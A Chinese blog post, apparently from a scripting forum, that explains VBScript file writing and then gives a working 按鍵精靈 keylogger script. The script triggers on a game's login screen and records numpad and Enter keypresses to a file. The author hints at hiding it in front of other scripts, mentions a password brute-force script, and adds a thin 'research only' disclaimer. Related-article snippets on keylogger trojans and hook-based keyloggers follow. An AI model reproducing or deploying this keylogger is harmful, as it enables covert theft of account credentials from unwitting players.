小鍵盤記錄

2021-08-26 14:20:37 字數 3653 閱讀 8966

小鍵盤記錄

2023年03月21日

發指令碼之前,我想講一下關於寫入檔案的問題,看了幾個教程,對於我這樣的菜鳥十分生澀,很難理解。我覺得有必要再講講,以下是我自己理解的,可能不對,請高手指教。

首先講這個:

vbs const forreading=1

vbs const forwriting=2

也有這樣寫的

其實這是不用寫的,這只是乙個引數解釋,告訴你當引數=1是是以讀方式開啟檔案;=2時是以寫方式

開啟檔案,=8時是以追加寫方式開啟檔案。那麼這個引數1,2,8寫在那裡呢?下面再說。

其次我們來看這個:

vbs set a = createobject("scripting.filesystemobject")

這個最不好理理解,不過好在我們不用理解,你只要記住,不論生成檔案還是開啟檔案,在前面都要加

這麼一句就可以了。其中除了a是變數名稱可以改以外,其它的照搬就是了。

接著我們來看

vbs set f=a.createtextfile(filename)

這句是生成檔案的,不光txt檔案,也可以生成htm檔案等,括號中是要生成的檔案路徑及名稱,如:「c:\1.txt」,一定要加引號的。還有就是,這句裡有兩個變數名f和a,前面的f是寫的時候用的,後面的a要和上一句的變數名一致。

總結一下就是說,我們想在c盤下生成乙個1.txt檔案,只要以下2句就可以做到:

vbs set a = createobject("scripting.filesystemobject")

vbs set f=a.createtextfile("c:\1.txt")

要注意,這樣建立的檔案是用寫方式開啟的,我們可以用下面這句來寫入內容:

vbs f.writeline("內容")

但這樣寫入會覆蓋上一次寫入的內容,所以不想覆蓋就要用到下面這句

vbs set f=a.opentextfile("c:\1.txt",8,true)

這句的意思是以追加的方式開啟「c:\1.txt」,如果不存在則生成乙個。其中的8,就是引數,我們上面講過,它如果是1或2時是什麼意思。

要是我以上講的你都不理解,你就記住,用追加寫方式開啟乙個檔案,寫入文字「1」,沒有的話就生成乙個再寫入,只要這樣寫就好了:

vbs set a = createobject("scripting.filesystemobject")

vbs set f=a.opentextfile("c:\1.txt",8,true)

vbs f.writeline("1")

就三句話,複製就好了。

下面進入正題,木馬的問題很頭痛,鍵盤記錄程式也很頭痛,好在我們有專業軟體。可是這就能阻止帳號丟失嗎?我今天用了30分鐘就寫了乙個鍵盤記錄指令碼,雖然暫時功能比較簡單,但有了這個思路,小精靈本身就可以是木馬!

下面這個指令碼可以實現,在檢測到某遊戲的登陸介面後,在按鍵精靈所在目錄生成乙個鍵盤記錄檔案,記錄10秒種內的小鍵盤動作.

rem start

vbscall findpic(0,0,1023,767,"登陸.bmp",0.9,x,y)

if x>=0 and y>=0

gosub 時間

goto start

else

goto start

endif

sub 時間

vbs starttime=timer

rem time

vbs stoptime=timer

vbs t=stoptime-starttime

//修改t的值可以延長記錄時間

if t<10

gosub 記錄

goto time

else

//每次記錄的結果用"-------"分開

vbs f.writeline("--------")

endscript

endif

return

sub 記錄

//開啟檔案

vbs filename="..\鍵盤記錄.txt"

vbs set a = createobject("scripting.filesystemobject")

vbs set f=a.opentextfile(filename,8,true)

//監控鍵盤

vbscall call getkeystate(asc)

//寫入結果

if getkeystate(96)=-1 or getkeystate(96)=1

vbs f.writeline("0")

//延時越短越容易出現先1次按鍵多次記錄的情況,目前這個值基本可以滿足要求

delay 150

endif

if getkeystate(97)=-1 or getkeystate(97)=1

vbs f.writeline("1")

delay 150

endif

if getkeystate(98)=-1 or getkeystate(98)=1

vbs f.writeline("2")

delay 150

endif

if getkeystate(99)=-1 or getkeystate(99)=1

vbs f.writeline("3")

delay 150

endif

if getkeystate(100)=-1 or getkeystate(100)=1

vbs f.writeline("4")

delay 150

endif

if getkeystate(101)=-1 or getkeystate(101)=1

vbs f.writeline("5")

delay 150

endif

if getkeystate(102)=-1 or getkeystate(102)=1

vbs f.writeline("6")

delay 150

endif

if getkeystate(103)=-1 or getkeystate(103)=1

vbs f.writeline("7")

delay 150

endif

if getkeystate(104)=-1 or getkeystate(104)=1

vbs f.writeline("8")

delay 150

endif

if getkeystate(105)=-1 or getkeystate(105)=1

vbs f.writeline("9")

delay 150

endif

if getkeystate(13)=-1 or getkeystate(13)=1

vbs f.writeline("回車")

delay 150

endif

return 記錄

目前我只寫了記錄小鍵盤的指令碼,全部都監控也很簡單,把它寫在某些指令碼的前面,然後......

不要問我怎麼能講記錄檔案傳送出來,雖然我前幾天寫了個生日密碼爆破指令碼,今天又寫了這個,但我鄭重宣告:我對盜號沒有興趣!!!一切只為研究之用,非法使用,一切後果由使用者自己承擔。

希望以上對想我一樣菜的朋友有幫助,最後還是要提醒,以上指令碼必須安裝qmboost外掛程式。

鍵盤記錄木馬 鍵盤記錄員

鍵盤記錄員108627 win32.pswtroj.onlinegames.xn.108627 這個病毒是乙個盜號木馬程式。它利用鍵盤記錄的方法,記錄下使用者輸入的全部資訊,進行加密後傳送給病毒作者。病毒作者通過一定技術手段,就可以從這些資訊中篩選出使用者的各類帳號和密碼。此篇預警播報中的病毒,是乙...

鍵盤記錄程式

這是乙個 windows環境下32位組合語言程式設計 中的例子,在動態鏈結庫和鉤子那章,作為乙個鉤子的示例程式。原理很簡單,裝個全域性鉤子,然後鉤住所有的鍵盤資訊即可。但是這裡存在兩個問題,一是裝什麼型別的全域性鉤子才能鉤住所有程序的鍵盤資訊,二是鉤住的鍵盤資訊的翻譯。大家都知道,鉤子函式鉤住的資訊...

vb鍵盤記錄

private sub timer1 timer dx鍵盤記錄 on error resume next static keyarray 255 as byte dim key count as integer,vkeycode as integer,vkeyasc as string di key...